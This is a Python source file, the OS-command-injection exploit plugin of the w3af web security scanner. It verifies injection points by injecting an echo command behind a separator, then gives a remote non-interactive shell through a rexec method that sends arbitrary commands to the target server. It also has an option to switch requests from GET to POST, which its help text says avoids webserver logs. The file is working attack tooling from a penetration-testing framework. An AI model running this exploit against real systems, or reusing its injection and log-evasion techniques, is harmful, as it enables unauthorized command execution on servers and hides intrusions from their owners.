'''
osCommandingShell.py

Copyright 2006 Andres Riancho

This file is part of w3af, w3af.sourceforge.net .

w3af is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation version 2 of the License.

w3af is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with w3af; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA

'''

from core.data.fuzzer.fuzzer import *
import core.controllers.outputManager as om
from core.controllers.basePlugin.baseAttackPlugin import baseAttackPlugin
import core.data.kb.knowledgeBase as kb
from core.controllers.w3afException import w3afException

class osCommandingShell(baseAttackPlugin):
	'''
	This plugin exploits OS Commanding bugs.
	@author: Andres Riancho ( andres.riancho@gmail.com )
	'''

	def __init__(self):
		baseAttackPlugin.__init__(self)
		self._shell = None
		
		self._changeToPost = True

	def fastExploit(self, url, method, data ):
		'''
		Exploits a web app with osCommanding vuln.
		
		@parameter url: A string containing the Url to exploit ( http://somehost.com/foo.php )
		@parameter method: A string containing the method to send the data ( post / get )
		@parameter data: A string containing data to send with a mark that defines
		which is the vulnerable parameter ( aa=notMe&bb=almost&cc=[VULNERABLE] )
		'''
		return self._shell
	
	def getType(self):
		return 'shell'
		
	def canExploit(self ):
		'''
		Searches the kb for vulnerabilities that the plugin can exploit.

		@return: True if plugin knows how to exploit a found vuln.
		'''
		osCommandingVulns = kb.kb.getData( 'osCommanding' , 'osCommanding' )
		if len( osCommandingVulns ) == 0:
			return False
		else:
			return True
				
	def exploit(self ):
		'''
		Exploits a osCommanding vuln that was found and stored in the kb.

		@return: True if the shell is working and the user can start calling rexec
		'''
		om.out.information( 'osCommanding exploit plugin is starting.' )
		osCommandingVulns = kb.kb.getData( 'osCommanding' , 'osCommanding' )
		if len( osCommandingVulns ) == 0:
			raise w3afException('No OS Commanding vulnerabilities have been found.')

		for vuln in osCommandingVulns:
			# Try to get a shell using all vuln
			if self._generateShell(vuln):
				# A shell was generated, I only need one point of exec.
				return True
					
		return False
				
	def _generateShell( self, vuln ):
		'''
		@parameter vuln: The vuln to exploit.
		@return: True is a shell object based on the param vuln was created ok.
		'''
		# Check if we really can execute commands on the remote server
		if self._verifyVuln( vuln ):
			
			if vuln.getMethod() != 'POST' and self._changeToPost and self._verifyVuln( self.GET2POST( vuln ) ):
				om.out.information('The vulnerability was found using method GET, but POST is being used during this exploit.')
				self._vuln = self.GET2POST( vuln )
			else:
				om.out.information('The vulnerability was found using method GET, tried to change the method to POST for exploiting but failed.')
				self._vuln = vuln			
			
			return True
		else:
			return False

	def _verifyVuln( self, vuln ):
		'''
		This command verifies a vuln. This is really hard work!

		@return : True if vuln can be exploited.
		'''
		# The vuln was saved to the kb as:
		# kb.kb.append( self, 'osCommanding', v )
		exploitQs = vuln.getDc()

		# Define a test command:
		rand = createRandAlpha( 8 )
		if vuln['os'] == 'windows':
			command = vuln['separator'] + 'echo ' + rand
		else:
			command = vuln['separator'] + '/bin/echo ' + rand
			
		# Lets define the result header and footer.
		functionReference = getattr( self._urlOpener , vuln.getMethod() )
		exploitQs[vuln.getVar()] = command
		try:
			response = functionReference( vuln.getURL(), str(exploitQs) )
		except Exception, e:
			om.out.error( str(e) )
			return False
		else:
			return self._defineCut( response.getBody(), rand, exact=True )
				
	def rexec( self, command ):
		'''
		This method is called when a command is being sent to the remote server.
		This is a NON-interactive shell.

		@parameter command: The command to send ( ie. "ls", "whoami", etc ).
		@return: The result of the command.
		'''
		# Lets send the command.
		functionReference = getattr( self._urlOpener , self._vuln.getMethod() )
		exploitQs = self._vuln.getDc()
		exploitQs[ self._vuln.getVar() ] = self._vuln['separator'] + command
		try:
			response = functionReference( self._vuln.getURL() , str(exploitQs) )
		except Exception, e:
			return 'Error "' + str(e) + '" while sending command to remote host. Try again.'
		else:
			return self._cut( response.getBody() )	
			
	def getOptionsXML(self):
		'''
		This method returns a XML containing the Options that the plugin has.
		Using this XML the framework will build a window, a menu, or some other input method to retrieve
		the info from the user. The XML has to validate against the xml schema file located at :
		w3af/core/ui/userInterface.dtd
		
		@return: XML with the plugin options.
		'''	
		return	'<?xml version="1.0" encoding="ISO-8859-1"?>\
		<OptionList>\
			<Option name="changeToPost">\
				<default>'+str(self._changeToPost)+'</default>\
				<desc>If the vulnerability was found in a GET request, try to change the method to POST during exploitation.</desc>\
				<help>If the vulnerability was found in a GET request, try to change the method to POST during exploitation; this is usefull for not being logged in the webserver logs ;)</help>\
				<type>boolean</type>\
			</Option>\
		</OptionList>\
		'

	def setOptions( self, OptionList ):
		'''
		This method sets all the options that are configured using the user interface 
		generated by the framework using the result of getOptionsXML().
		
		@parameter OptionList: A dictionary with the options for the plugin.
		@return: No value is returned.
		'''	
		pass
			
	def getPluginDeps( self ):
		'''
		@return: A list with the names of the plugins that should be runned before the
		current one.
		'''
		return []
	
	def getRootProbability( self ):
		'''
		@return: This method returns the probability of getting a root shell using this attack plugin.
		This is used by the "exploit *" function to order the plugins and first try to exploit the more critical ones.
		This method should return 0 for an exploit that will never return a root shell, and 1 for an exploit that WILL ALWAYS
		return a root shell.
		'''
		return 0.8
		
	def getLongDesc( self ):
		'''
		@return: A DETAILED description of the plugin functions and features.
		'''
		return '''
		This plugin exploits os commanding vulnerabilities and returns a remote shell.
		
		One configurable parameters exist:
			- changeToPost
		'''
